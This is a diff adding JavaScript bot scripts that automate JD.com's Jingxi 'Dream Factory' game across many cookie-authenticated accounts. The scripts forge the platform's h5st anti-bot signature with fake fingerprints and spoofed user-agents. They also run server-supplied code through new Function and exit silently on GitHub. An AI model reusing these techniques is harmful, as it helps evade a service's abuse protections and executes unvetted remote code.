$.shelvesList.length > 0) console.log(`\n 商品名 兑换状态`) + for (let shel of $.shelvesList) { + console.log(`${shel['name']} ${shel['exchangeStatus'] === 1 ? '未兑换' : shel['exchangeStatus'] === 2 ? '已兑换' : '兑换超时'}`) + if (shel['exchangeStatus'] === 1) { + exchangeEndTime = shel['exchangeEndTime'] * 1000; + $.picture = shel['picture']; + // 兑换截止时间点 + exchangeEndHours = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + //兑换截止时间(年月日 时分秒) + $.exchangeEndTime = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}); + //脚本运行此时的时间点 + nowHours = nowTimes.getHours(); + } else if (shel['exchangeStatus'] === 3) { + //兑换超时 + } + } + if (exchangeEndTime) { + //比如兑换(超时)截止时间是2020/12/8 09:20:04,现在时间是2020/12/6 + if (nowTimes < exchangeEndTime) { + // 一:在兑换超时这一天(2020/12/8 09:20:04)的前4小时内通知(每次运行都通知) + let flag = true; + if ((exchangeEndTime - nowTimes.getTime()) <= 3600000 * 4) { + let expiredTime = parseFloat(((exchangeEndTime - nowTimes.getTime()) / (60*60*1000)).toFixed(1)) + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${(exchangeEndTime - nowTimes) / 60*60*1000}分钟后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + flag = false; + } + //二:在可兑换的时候,0,2,4等每2个小时通知一次 + if (nowHours % 2 === 0 && flag) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } +} +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://transfer.nz.lu/jxfactory`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + // tuanActiveId = $.isNode() ? (process.env.TUAN_ACTIVEID || tuanActiveId) : ($.getdata('tuanActiveId') || tuanActiveId); + // if (!tuanActiveId) { + // await updateTuanIdsCDN('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // if (!$.tuanConfigs) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // console.log(`拼团活动ID:获取失败,将采取脚本内置活动ID\n`) + // } + // } + // } + // } else { + // console.log(`自定义拼团活动ID: 获取成功 ${tuanActiveId}`) + // } + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dreamFactory_help.js b/jd_dreamFactory_help.js new file mode 100644 index 0000000..1eeb33b --- /dev/null +++ b/jd_dreamFactory_help.js @@ -0,0 +1,644 @@ +/* +京喜工厂招工互助 +更新时间:2021-8-20 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂招工互助 +5 6,18 * * * jd_dreamFactory_help.js, tag=京喜工厂招工互助, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "5 6,18 * * *" script-path=jd_dreamFactory_help.js,tag=京喜工厂招工互助 + +===============Surge================= +京喜工厂招工互助 = type=cron,cronexp="5 6,18 * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory_help.js + +============小火箭========= +京喜工厂招工互助 = type=cron,script-path=jd_dreamFactory_help.js, cronexpr="5 6,18 * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u 